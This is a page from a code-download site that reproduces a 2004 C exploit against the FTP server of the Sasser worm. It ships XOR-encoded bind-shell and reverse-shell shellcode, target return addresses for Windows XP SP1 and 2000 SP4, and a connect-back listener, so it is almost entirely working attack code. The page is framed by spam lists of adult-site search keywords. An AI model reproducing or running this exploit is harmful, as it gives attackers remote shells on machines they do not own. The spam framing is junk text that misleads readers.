亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? exploit sasser's ftpd for a shell.txt

?? 一些可以實現益出的程序
?? TXT
字號:
/*
-=[ http://www.rosec.info ]=-
_____ ____________
_________ / ___// ____/ ____/
/ ___/ __ \\__ \/ __/ / /
/ / / /_/ /__/ / /___/ /___
/_/ \____/____/_____/\____/

- ROMANIAN SECURITY RESEARCH 2004 -



sasser v[a-e] exploit (of its ftpd server)

exploit version 1.3, not private anymore

author: mandragore
date: Tue May 4 13:32:38 2004
vuln type: SEH ptr overwriting
greets: rosecurity team
discovery: edcba
note: sasser.e has its ftpd on port 1023

*/

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL "\033[01;33m"
#define RED "\033[01;31m"

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 5554

struct { char *os; long goreg; long gpa; long lla;}
targets[] = {
// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },
{ "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 },
{ "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;

unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,
0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,
0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,
0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,
0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,
0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,
0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,
0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,
0xC8,0x21,0x0E
};

unsigned char rsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char verbose=0;

void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}

void usage(char *argv0) {
int i;

printf("%s -d <host/ip> [opts]\n\n",argv0);

printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P <port> for the shellcode [default: 530]\n");
printf(" -H <host/ip> for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose below\n\n");

printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

exit(1);
}

void shell(int s) {
char buff[4096];
int retval;
fd_set fds;

printf("[+] connected!\n\n");

for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);

if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");

if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}

if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}

void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;

sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);

s=socket(2,1,6);

if ( bind(s,(struct sockaddr *)&sin, 16) ) {
kill(getppid(),SIGKILL);
fatal("[-] shell.bind");
}

listen(s,1);

s=accept(s,(struct sockaddr *)&sin,&slen);

shell(s);
printf("crap\n");
}

int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"};

printf(BANNER "\n");

if (argc==1)
usage(argv[0]);

for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);

switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:5300;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x57,&Port,2);
memcpy(rsh+0x5a,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'L':
pid++; i--;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}

if (verbose)
printf("verbose!\n");

if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");

sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);

printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
if ((he=gethostbyname(Host))==NULL)
fatal("[-] gethostbyname() for -H");
rip=*((long *)he->h_addr_list[0]);
rip=rip^0xdededede;
memcpy(rsh+0x53,&rip,4);
if (pid) {
printf("[.] setting up a listener on port %d.\n",Port);
pid=fork();
switch (pid) { case 0: callback(Port); }
} else
printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);
}

printf("[.] using type '%s'\n",targets[type].os);

// -------------------- core

s=socket(2,1,6);

if (connect(s,(struct sockaddr *)&sin,16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}

printf("[+] connected, sending exploit\n");

buff=(char *)malloc(4096);
bzero(buff,4096);

sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);

memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);

setoff(targets[type].gpa, targets[type].lla);

if (bindopt)
memcpy(buff+300,&bsh,strlen(bsh));
else
memcpy(buff+300,&rsh,strlen(rsh));

send(s,buff,strlen(buff),0);

free(buff);

close(s);

// -------------------- end of core

if (bindopt) {
sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);
}

if (pid) wait(&pid);

exit(0);
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产精品情趣视频| 久久国产夜色精品鲁鲁99| 亚洲成人综合在线| 国产一区二区三区久久悠悠色av| 色国产精品一区在线观看| 精品国产乱码久久久久久浪潮 | av电影在线观看不卡| 3d成人h动漫网站入口| 国产精品对白交换视频| 激情图片小说一区| 3d成人动漫网站| 亚洲第一主播视频| 91看片淫黄大片一级| 国产丝袜美腿一区二区三区| 奇米影视7777精品一区二区| 欧美性xxxxxx少妇| 亚洲精品国产一区二区三区四区在线 | 国产亚洲一区字幕| 麻豆国产精品一区二区三区 | 欧美成人乱码一区二区三区| 亚洲福利视频一区| 欧美综合一区二区三区| 亚洲乱码日产精品bd | 激情六月婷婷综合| 日韩一区二区不卡| 日本亚洲电影天堂| 欧美疯狂做受xxxx富婆| 亚洲午夜在线电影| 欧美日韩国产精品成人| 亚洲永久免费视频| 欧美日韩国产经典色站一区二区三区 | 国产在线视频一区二区| 精品国产青草久久久久福利| 激情综合网av| 久久蜜臀精品av| 大美女一区二区三区| 国产精品美女久久久久aⅴ| 成人午夜短视频| 国产精品久久久久久久久免费樱桃| 国产精品一区二区x88av| 欧美激情在线一区二区三区| 风间由美中文字幕在线看视频国产欧美| 国产偷国产偷精品高清尤物| 成人av午夜电影| 一区二区三区免费| 欧美精品粉嫩高潮一区二区| 蜜臀久久99精品久久久画质超高清| 日韩一区二区视频| 国产精品自拍毛片| 亚洲精品中文字幕乱码三区| 91麻豆精品国产自产在线观看一区 | 日欧美一区二区| 日韩精品一区二| 成人av网站免费观看| 亚洲女厕所小便bbb| 欧美日韩视频在线一区二区| 六月婷婷色综合| 欧美激情一区二区三区在线| 91在线观看地址| 日韩精品电影在线| 中文字幕av免费专区久久| 欧美少妇性性性| 国内成+人亚洲+欧美+综合在线| 日本一区二区成人| 欧美日韩国产大片| 国产美女精品一区二区三区| 综合激情成人伊人| 4438成人网| 成人精品国产免费网站| 日日摸夜夜添夜夜添国产精品 | 色综合av在线| 麻豆精品新av中文字幕| 亚洲欧美国产三级| 欧美xxxxx裸体时装秀| fc2成人免费人成在线观看播放| 亚洲风情在线资源站| 国产精品人妖ts系列视频| 在线不卡欧美精品一区二区三区| 国产传媒一区在线| 日韩中文字幕区一区有砖一区| 国产午夜精品福利| 欧美人成免费网站| 91麻豆精品在线观看| 国产在线精品一区二区夜色| 亚洲国产欧美在线人成| 国产精品美女久久久久久久久| 91精品国产高清一区二区三区| 北岛玲一区二区三区四区| 精品一区二区在线播放| 视频一区二区三区在线| 亚洲免费在线视频一区 二区| 2023国产精华国产精品| 欧美一区二区三区四区五区| 色婷婷激情综合| av午夜一区麻豆| 国产精品亚洲午夜一区二区三区| 日韩高清不卡一区二区| 一区二区三区在线视频免费| 中文字幕日韩一区| 国产性色一区二区| 精品国产91乱码一区二区三区| 欧美日韩国产一级| 欧美区视频在线观看| 欧美亚州韩日在线看免费版国语版| 丁香啪啪综合成人亚洲小说| 国产成人夜色高潮福利影视| 国产伦精一区二区三区| 国产一区二区三区在线观看免费视频 | 成人福利视频在线| 国产黄色精品网站| 国产在线精品不卡| 国内精品久久久久影院色| 国内欧美视频一区二区| 蜜桃视频免费观看一区| 青青青伊人色综合久久| 老司机一区二区| 国产综合色产在线精品| 激情国产一区二区| 国产精品综合二区| 成人一级视频在线观看| 成人精品视频一区二区三区尤物| 床上的激情91.| 91色porny| 欧美视频一区二区三区| 在线观看91av| 337p日本欧洲亚洲大胆精品| 国产欧美视频一区二区三区| 国产精品萝li| 亚洲老司机在线| 午夜精品国产更新| 久久国产三级精品| 国产99久久久久久免费看农村| 国产91精品在线观看| 91欧美一区二区| 欧美日韩黄色一区二区| 久久久夜色精品亚洲| 国产精品久线在线观看| 一区二区三区中文在线观看| 免费黄网站欧美| 粉嫩蜜臀av国产精品网站| 欧美四级电影网| 精品国产一区二区三区不卡 | 免费精品视频在线| 成人性生交大片免费看视频在线 | 亚洲成人精品在线观看| 蜜臀av国产精品久久久久 | 中文字幕一区二区三区不卡在线| 亚洲综合丝袜美腿| 精品一区二区三区免费观看| 99视频一区二区| 3d动漫精品啪啪1区2区免费| 日本一区二区三区久久久久久久久不| ...中文天堂在线一区| 日韩激情中文字幕| av在线不卡电影| 在线播放欧美女士性生活| 国产精品免费视频观看| 日韩电影在线观看电影| 91香蕉视频在线| 欧美成人精品1314www| 亚洲男同1069视频| 国模娜娜一区二区三区| 欧美中文字幕不卡| 欧美经典三级视频一区二区三区| 午夜精品影院在线观看| a美女胸又www黄视频久久| 欧美tickling挠脚心丨vk| 亚洲欧美日韩国产一区二区三区| 精品亚洲aⅴ乱码一区二区三区| 色哦色哦哦色天天综合| 欧美国产激情一区二区三区蜜月| 午夜不卡av在线| 日本道色综合久久| 国产精品美女一区二区三区| 国产一区二区主播在线| 日韩无一区二区| 亚洲成人777| 欧美影院一区二区| 亚洲视频每日更新| 国产suv一区二区三区88区| 精品国产一区二区三区久久久蜜月| 天堂成人免费av电影一区| 日本韩国欧美一区二区三区| 中文字幕在线一区免费| 国产不卡视频在线播放| 久久蜜臀中文字幕| 国模少妇一区二区三区| 欧美成人bangbros| 蜜桃视频第一区免费观看| 欧美精品色综合| 婷婷综合另类小说色区| 欧美日韩国产美女| 天堂va蜜桃一区二区三区| 欧美精品一二三区| 五月天久久比比资源色| 欧美日韩综合色| 视频一区欧美精品| 日韩午夜在线播放| 久久se这里有精品| 久久天天做天天爱综合色|